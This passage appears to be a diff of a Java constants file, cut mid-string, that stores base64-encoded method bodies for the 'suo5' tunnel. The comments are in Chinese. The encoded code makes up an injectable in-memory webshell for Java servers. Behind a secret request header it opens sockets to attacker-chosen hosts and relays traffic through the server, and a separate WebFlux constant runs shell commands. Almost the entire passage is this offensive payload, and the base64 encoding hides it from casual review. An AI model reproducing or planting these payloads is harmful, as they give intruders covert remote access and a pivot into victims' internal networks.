m9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; - - public static class SUO5 { - - // suo5 newCreate 方法 - public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; - - // suo5 newData 方法 - public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; - - // suo5 newDel 方法 - public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; - - // suo5 setStream 方法,需要 Field gInStream,gOutStream - public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; - - // suo5 newStatus 方法 - public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; - - // suo5 u32toBytes 方法 - public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; - - // suo5 bytesToU32 方法 - public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; - - // suo5 marshal 方法,需要 u32toBytes - public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; - - // suo5 unmarshal 方法,需要 bytesToU32 - public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; - - // suo5 readSocket 方法,需要 marshal newData - public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; - - // suo5 readInputStreamWithTimeout 方法 - public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; - - public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; - - // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 - public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; - - // suo5 readReq 方法,需要 unmarshal 方法 - public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; - - // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel - public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; - - // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 - public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; - - // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 - public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; 